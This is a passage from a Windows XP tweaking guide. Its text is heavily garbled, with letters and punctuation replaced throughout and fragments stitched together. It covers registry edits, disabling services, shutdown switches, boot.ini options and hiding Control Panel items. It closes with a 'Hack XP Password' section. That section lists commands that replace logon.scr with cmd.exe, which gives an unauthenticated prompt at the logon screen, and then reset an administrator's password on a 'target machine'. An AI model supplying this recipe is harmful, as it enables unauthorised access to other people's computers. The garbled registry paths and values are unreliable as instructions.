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Print Spooler1 2f you do not do any printing from the computer! you can disable this service. 2f you print! make sure you leave it as automatic. )emote )egistry1 $his service allows remote users to modify the )egistry on your computer. 2f you are not on a network! you can disable this service. System )estore Service1 $his service allows you to use System )estore. 2f you have turned off System )estore anyway! you do not need to turn off the service. $hemes1 2f you do not use themes! you can disable this service. indows 2mage Ac%uisition1 2f you do not use scanners or digital cameras! you can disable. ireless =ero &onfiguration1 2f do not use wireless networking devices! you can disable.
C. Memory $weak
>. Start )egistry -ditor *)egedit.e.e+ and locate the following key in the registry1 "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolASessionManagerA MemoryManagementAPrefetchParameters
B./n the -nablePrefetcher value! change the setting from C to D *decimal+. C. &lose the registry editor and restart your computer
disable them to save boot time. #ou can always enable them later if you want to use them. >. /pen the Start menu! right9click My &omputer! and choose Properties. B.&lick the remote tab. C. &lear both check bo.es to disable )emote Assistance and )emote 5esktop.
ait $ime
hen you start to shut down indows XP! it has to %uit! or Lkill!L any live applications or processes that are currently running. So close all applications first. "owever! some applications and processes are always running in the background. #ou can reduce the amount of time that indows XP waits for those applications and processes to close before indows XP kills them. >. /pen registry editor B. 6avigate to "0-#@US-)SA.5-8AU7$A&ontrol PanelA5esktop. Set the ait$o0illApp$imeout and set the value to >000. Select the "ungApp$imeout Anewline value and set it to >000 as well. C. 6avigate to "0-#@7/&A7@MA&"26-ASystemA&urrent&ontrolSetA&ontrol. Select the ait$o0illService$imeout value and set it to >0000. E. &lose the )egistry -ditor.
Shutdown
#ou know the drill. #ou start to shut down the computer! you wait a few moments! and then you see a dialog bo. asking if you want to kill an application or service that is running. 2nstead of prompting you! you can make indows XP take care of the kill task automatically. "ere3s how1 >. /pen the )egistry -ditor. B. 6avigate to "0-#@&U))-6$@US-)A&ontrol PanelA5esktop. C. "ighlight the value Auto-nd$asks and change the value to >. E. &lose the )egistry -ditor.
allpaper
2f you :ust switched to a wide9screen monitor! your desktop wallpaper image may no longer look right! or maybe you :ust want to make a small ad:ustment to it. 8or more9granular control of your wallpaper3s placement! highlight the following key1 "0-#@&U))-6$@US-)A&ontrolPanelAdesktop
5ouble9click the allpaper/riginX icon in the right pane. *2f you don3t see this icon! right9click in this pane! choose 6ew! String Falue! type allpaper/riginX to name the value! and press O-nterP.+ $ype a number *in pi.els+ for the starting hori<ontal position of your wallpaper3s left edge! and press O-nterP. 6ow double9click the allpaper/rigin# icon *create it if necessary as e.plained above+ and enter a number for the starting vertical position of the image3s top edge. 2f your wallpaper image is larger than the screen! type a negative number *for e.ample! 9B00+ to push the picture3s top or left edge off the screen. $o test the effect! first minimi<e the )egistry -ditor *and any other open window+! right9click the desktop! choose Properties! and click /0 or Apply to refresh the wallpaper placement. )epeat these steps as needed until the wallpaper is positioned correctly.$he settings work whether you3ve set your wallpaper to be centered! tiled! or stretched.
hen you choose this option! your system runs an abbreviated P/S$ rather than the normal! lengthy one. 4oot Up 8loppy Seek 5isable this option. hen it3s enabled! your system spends a few e.tra seconds looking for your floppy drivea relatively pointless procedure! especially considering how infre%uently you use your floppy drive. 4oot 5elay Some systems let you delay booting after you turn on your P& so that your hard drive gets a chance to start spinning before bootup. Most likely! you don3t need to have this boot delay! so turn it off. 2f you run into problems! however! you can turn it back on.
larger than the percentage value+! double9click the 5SMa. icon. 2n the -dit 5 /)5 Falue dialog bo.! click 5ecimal so you can see the specified number of megabytes in the 3Falue data3 bo. *the default on most systems is 3E003+. &hange this to the desired amount! and click /0. hile you3re there! you can also safely edit the 5SMin value! which specifies the minimum space System )estore needs to work at all. 6ormally! if free space on your indows drive gets too low! System )estore shuts down and makes no restore points until you have at least B00M4 of free space. Setting this value determines the amount of disk space at which System )estore will wake up and attempt to start saving restore points again. "owever! :ust because System )estore will try to do so! it won3t necessarily succeed if the available space is too small. Unfortunately! we know of no method to determine how much space a single restore point will re%uire! so setting this amount too low could render the feature useless. Still! you can fit a lot of system files in >00M4 of disk space. $o change this value! double9click the 5SMin icon! click 5ecimal! and enter your desired amount of free disk space *in megabytes+ in the 3Falue data3 bo.. &lick /0.
BE. Place
2tSs a given that anything that runs in )AM will be faster than an item that has to access the hard drive and virtual memory. )ather than have the kernel that is the foundation of XP using the slower Paging -.ecutive functions! use this hack to create and set the 5isablePaging-.ecutive 5 /)5 to a value of >. Perform this hack only if the system has BDGM4 or more of installed )AMM -dit the )egistry key "0-#@7/&A7@MA&"26-AS#S$-MA&urrent&ontrolSetA&ontrolASession ManagerA Memory ManagementA5isablePaging-.ecutive to > to disable paging and have the kernel run in )AM *set the value to 0 to undo this hack+. -.it the )egistry and reboot.
&$)7 N A7$ N 5-7-$- to bring up the task manager. 2n the task manager! go to processes and click on e.plorer.e.e. -nd the 'e.plorer.e.e( task. All the windows will be closed down. 5onSt panic. #ou can still see the command prompt. 2n the command prompt type the following command e.actly as it is1 5el L&1A5ocuments and SettingsAOyour@log@in@namePA7ocal SettingsA$emporary 2nternet 8ilesA&ontent.2-DAinde..datL 6ote Oyour@log@in@nameP is the name that you use to log in to your windows. Some log in as 'administrator( while some with another name eg1 Sandeep. hatever it is! type that name. $his will also help in fi.ing all the issues related to browser performance! especially the ones that cause browser to hang fre%uently.
for the location of the shortcut! type shutdown. After you create the shortcut! doubleclicking it will shut down your P&. 4ut you can do much more with a shutdown shortcut than merely shut down your P&. #ou can add any combination of several switches to do e.tra duty! like this1
shutdown -r -t 01 -c "Rebooting your PC"
5ouble9clicking that shortcut will reboot your P& after a one9second delay and display the message L)ebooting your P&.L $he shutdown command includes a variety of switches you can use to customi<e it.
Switches you can use with shutdown
Switch hat it does -s Shuts down the P&. -l 7ogs off the current user.
-t nn
Switch
hat it does
-c LmessagetextL
5isplays a message in the System Shutdown window. A ma.imum of >BH characters can be used. $he message must be enclosed in %uotation marks. -f 8orces any running applications to shut down. -r )eboots the P&. "ere are the ones 2 use for shutdowns and restarts1
Shutdown -s -t 03 -c "See you later!" shutdown -r -t 03 -c " ou can!t get rid of me that "uic#ly!"
#ou always have to turn from the &PU after running this command. *Same with A$ and A$X powered machines.+ 2f you want to turn down power of A$X machine automatically! run the following commnd Lc1AwindowsAsystemCBAtsshutdn.e.e 00 ; P/ -)5/ 6 ; 5-7A#100L $his is used to turn off a server. -ven though you don3t have networked computers attached to your computer! this works.
6o)un 1 5isables or hides the )un &ommand 6oSet8olders1 )emoves 8olders from the Settings option on Start Menu *&ontrol Panel! Printers! $askbar+ 6oSet$askbar1 )emoves $askbar system folder from the Settings option on Start Menu 6o8ind1 )emoves the 8ind $ool *Start P8ind+ 6o5rives1 "ides and does not display any 5rives in My &omputer 6o6et"ood1 "ides or removes the 6etwork 6eighborhood icon from the desktop 6o5esktop1 "ides all items including! file! folders and system folders from the 5esktop 6o&lose1 5isables Shutdown and prevents the user from normally shutting down indows. 6oSaveSettings1 Means to say! 35on3t save settings on e.it3 5isable)egistry$ools1 5isable )egistry -diting $ools *2f you disable this option! the indows )egistry -ditor*regedit.e.e+ too will not work.+ 6o)ecent5ocs"istory1 )emoves )ecent 5ocument system folder from the Start Menu *2- E and above+ &lear)ecent5ocs/n-.it1 &lears the )ecent 5ocuments system folder on -.it. 6olnternetlcon1 )emoves the 2nternet *system folder+ icon from the 5esktop 6ow create a new key and name it System. Under this new key! system we can create the following new 5 /)5 values 6/5isp&P71 "ides &ontrol Panel 6o5isp4ackgroundPage1 "ides 4ackground page. 6o5ispScrsavPage1 "ides Screen Saver Page 6o5ispAppearancePage1 "ides Appearance Page 6o5ispSettingsPage1 "ides Settings Page 6oSec&P71 5isables Password &ontrol Panel 6oPwdPage1 "ides Password &hange Page 6oAdminPa%e1 "ides )emote Administration Page 6oProfilePage1 "ides User Profiles Page 6o5evMgrPage1 "ides 5evice Manager Page 6o&onfigPage1 "ides "ardware Profiles Page 6o8ileSysPage1 "ides 8ile System 4utton 6oFirtMemPage1 "ides Firtual Memory 4utton Similarly! if we create a new subkey named 6etwork! we can add the following 5 /)5 values under it1 6o6etSetupSecurityPage1 "ides 6etwork Security Page 6o6elSetup1 "ides or disables the 6etwork option in the &ontrol Panel 6o6etSetup25Page1 "ides the 2dentification Page 6o6etSetupSecurityPage1 "ides the Access &ontrol Page 6o8ileSharing&ontrol1 5isables 8ile Sharing &ontrols 6oPrintSharing1 5isables Print Sharing &ontrols.
CH. Automatically $urn /n 6um 7ock! Scroll 7ock! and &aps 7ock
hen you start your P&! 6um 7ock! Scroll 7ock! and &aps 7ock don3t automatically toggle on. #ou can automatically turn each of them on or off whenever your P& starts! for all accounts on the P&. As a practical matter! most people probably want to
have only 6um 7ock automatically turned on! but this )egistry hack allows you to force any combination of keys on or off. )un the )egistry -ditor T"ack WICU and go to "0-#@US-)SA.5efaultA&ontrol PanelA0eyboard. 8ind the String value 2nitial0eyboard2ndicators. 4y default! it is set to 0! which means that 6um 7ock! Scroll 7ock! and &aps 7ock are all turned off. Set it to any of the following values! depending on the combination of keys you want turned on or off1 09$urns off 6um 7ock! &aps 7ock! and Scroll 7ock >9$urns on &aps 7ock B9$urns on 6um 7ock C9$urns on &aps 7ock and 6um 7ock E9$urns on Scroll 7ock D9$urns on &aps 7ock and Scroll 7ock G9$urns on 6um 7ock and Scroll 7ock H9$urns on &aps 7ock! 6um 7ock! and Scroll 7ock -.it the )egistry. hen you restart! the new setting will take effect.
know. 2t sets whether to automatically restart the indows shell if the shell crashes. A value of > automatically restarts the shell. A value of 0 tells XP not to restart the shell! forcing you to log off and then back on again to restart it.
section. 4efore editing boot.ini! make a copy of it and save it under a different name *such as boot.ini.old+ so that you can revert to it if you cause problems when you edit the file. 8ollowing are details about how to edit the entries in each section1 Tboot loaderU $his section controls how the boot process worksJ it specifies the default operating system and how long a user has to make a selection from a boot menu! if a boot menu has been enabled. $he timeout value specifies! in seconds! how long to display the menu and wait for a selection before loading the default operating system. 2f you want a delay of >D seconds! for e.ample!
enter 17 for the value. Use a value of 0 if you want the default operating system to boot immediately. 2f you want the menu to be displayed indefinitely and stay on9screen until a selection is made! use a value of -1. $he default value specifies which entry in the $o)erating system% section is the default operating system. *$he default value is used even if there is only one operating system in the $o)erating system% section.+ $o change the default operating system! edit the setting! in our e.ample! to default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6. So! in our e.ample! if you change the menu settings so that the screen appears for >0 seconds before loading the default operating system! and the default operating system is indows B000 Professional! the section reads1
$boot loader% timeout&10 default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6
Toperating systemU $his section specifies which operating systems are present on the computer! and detailed options for each one. XP uses the Advanced )2S& &omputing *A)&+ path to specify the location of the boot partition. 2n our e.ample! the A)& path is1
multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S
$he first parameter! which identifies the disk controller! should be 0. $he second parameter! the dis# parameter! should also be 0. $he rdis# parameter specifies the disk number on the controller that has the boot partition. $he numbers start at 0. So! if you have three hard disks installed and the second hard disk has the boot partition! the setting is rdis#'1(. $he )artition parameter identifies the partition number of the boot partition. Partitions start with the number 1. $he final section! which in our e.ample is *+,-./+S! specifies the path to the folder where the operating system is installed. $o the right of the A)& path in the e.ample is &"0icrosoft +indows 1P 2ome 3ditionL 4fastdetect. $he words within %uotes are what will appear on the boot menu ne.t to the entry. $o customi<e the te.t on the menu you can change these words to whatever you wishfor e.ample! LMy 8avorite /perating System.L $he 4fastdetect switch disables the detection of serial and parallel devices! which allows for faster booting. $he detection of these devices isn3t normally re%uired in XP because the functions are performed by Plug and Play drivers! so as a general rule it3s a good idea to use the 4fastdetect switch. $he 4fastdetect switch is only one of many switches that you can use in the boot.ini file to customi<e how the operating system loads. Switches for boot.ini Switch hat it does
489S3:,.3/
Starts XP using the standard F?A driver. 2t3s most useful if you can3t boot normally because of a video driver problem.
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7ogs information about the boot process to the ntbtlogl.t.t file in the &1A indows folder.
4CR9S2.38=<
7oads the debugger at boot! but the debugger remains inactive unless a crash occurs.
4.38=< 7oads the debugger at boot and runs it. 4>?.363C6 5isables the detection of serial and parallel devices. 0910301n Specifies the ma.imum amount of )AM that XP can use. 4-/<=,8//6 5oes not allow the XP splash screen to load during boot. 4-/.38=< Stops the debugger from loading. 4S9>38//61switch 8orces XP to boot into the safe mode specified by the switch parameter! which can be minimal! networ#! or minimal'alternate shell(. 2n minimal safe mode! only the
minimum set of drivers necessary to start XP are loaded. 2n networ# safe mode! networking drivers are loaded in addition to the minimum set of drivers. 2n minimal'alternate shell( the minimum set of drivers are loaded and XP boots into the command prompt.
4S/S
5isplays the name of each driver as it loads and gives descriptions of what is occurring during the boot process. 2t also offers other information! including the XP build number! the service pack number! the number of processors on the system! and the amount of installed memory. hen you3ve finished editing the boot.ini file! save it. $he ne.t time you start your computer! its settings will go into effect. 2n our e.ample! if we want the menu to appear for ED seconds! the default operating system to be indows B000! and the XP splash screen to be turned off when we choose to load XP! the boot.ini file should look like this1
$boot loader% timeout&@7 default&multi'0(dis#'0(rdis#'0()artition'5(*+,--6 $o)erating systems% multi'0(dis#'0(rdis#'0()artition'1(*+,-./+S&"0icrosoft +indows 1P 2ome 3dition" 4fastdetect 4noguiboot multi'0(dis#'0(rdis#'0()artition'5(*+,--6&"+indows 5000 Professional" 4fastdetect
Tboot loaderU timeoutXC0 defaultXmulti*0+disk*0+rdisk*0+partition*>+A Toperating systemsU multi*0+disk*0+rdisk*0+partition*>+A 265/ -ditionL ;fastdetect multi*0+disk*0+rdisk*0+partition*>+A 265/ ;fastdetect ;bootlog ;sos multi*0+disk*0+rdisk*0+partition*>+A 265/ fastdetect ;safeboot1network
$he key! as its name implies! determines which &ontrol Panel applet icons are not loaded into the &ontrol Panel. #ou3ll still be able to run those applets from the command line after you hide themJ you :ust won3t be able to see their icons in the &ontrol Panel. $o hide an applet! create a new String value whose name is the filename of the applet you want to hide. 8or e.ample! to hide the Mouse &ontrol dialog bo.! the String value would be main.cpl. Control Panel applets and their filenames Applet 8ilename System Properties sysdm.cpl 5isplay Properties desk.cpl 6etwork &onnections ncpa.cpl Accessibility /ptions access.cpl Control Panel applets and their filenames Applet 8ilename Add or )emove Programs appwi<.cpl Add "ardware i<ard hdwwi<.cpl 2nternet Properties 2netcpl.cpl )egion and 7anguage /ptions intl.cpl ?ame &ontrollers :oy.cpl Mouse Properties main.cpl Sound and Audio 5evices mmsys.cpl User Accounts nusrmgr.cpl /54& 5ata Source Administrator odbccpCB.cpl Power /ptions Properties Powercfg.cpl Phone and Modem /ptions telephon.cpl $ime and 5ate Properties timedate.cpl Speech Properties sapi.cpl &reate separate String values for each applet you want to hide! then e.it the )egistry. $he applets will vanish from the &ontrol Panel. $o make a hidden applet appear again! delete its string value from this same registry key.
&ontrol Panel categories. 6ow find the )egistry key of the applet you want to recategori<e. $he filename of the applet will appear on the end of the keyJ for e.ample! ISystemRootI*system35*mainJc)l is the Mouse Properties dialog bo.. &hange the key3s .+/R. value to the value of the &ontrol Panel category into which you want the applet to appear. 8or e.ample! if you want the applet to appear in the Performance and Maintenance category! give it a value of 7. $he value will then be displayed in the )egistry as 0x00000007'7(. hen you3re done! e.it the )egistry. $he applet will now appear in the new category..
and a wrong move can have catastrophic effects. $he second one is way too simple and the options are limited. So 2 recommend the third area . ?roup Policy -ditor or gpedit.msc is a nice place for the newbies to learn and try their own tricks. $he main advantage is its simplicity. \ust click on the N signs to dive deep into it. -.planations are given along with each entry. )ead the e.planation and decide on the settings that needs to be set. 6othing much! you :ust need to enable or disable a setting. 2snSt it a simple thing to doZZ And trust me! it can even create wondersMM So go ahead and try it now itself. ?ood luck.
EC.
"acking is done to e.pose a security hole in a system. "acking is done to e.pose the holes in the armor so that system designers can patch it in their ne.t release. "acking if done with a malicious mind! then its crackingM &rackers are basically hackers with a malicious mind. $hey e.ploit the security holes to gain unauthori<ed access to a system. $hey often steal data like the credit card information from the victimSs computer and read their mails. Some crackers go beyond and often engage in destructive actions like creating viruses and worms. So the ne.t time when you say hacker;cracker! understand what they are. "ackers donSt like being greeted as crackers for the same reason that hackers are friendly and nice people. 2Sm giving you two e.amples below to understand how hacking differs from tweaking1
-gB1"ack XP Password
2f you log into a limited account on your target machine and open up a dos prompt then enter this set of commands -.actly. 8orget about the e.planations as it is for the sake of clarity purpose &ommand -.palnation cdA ]drops to root cdAwindowsAsystemCB ]directs to the systemCB dir mkdir temphack ]creates the folder temphack copy logon.scr temphackAlogon.scr ]backsup logon.scr copy cmd.e.e temphackAcmd.e.e ]backsup cmd.e.e del logon.scr ]deletes original logon.scr rename cmd.e.e logon.scr ]renames cmd.e.e to logon.scr e.it ]%uits dos 6ow what you have :ust done is told the computer to backup the command program and the screen saver file! then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP. /nce this
happens if you enter this command minus the %uotes Lnet user Oadmin account name hereP passwordL 2f the Administrator Account is called 8rank and you want the password blah enter this Lnet user 8rank blahL and this changes the password on franks machine to blah and you should be in.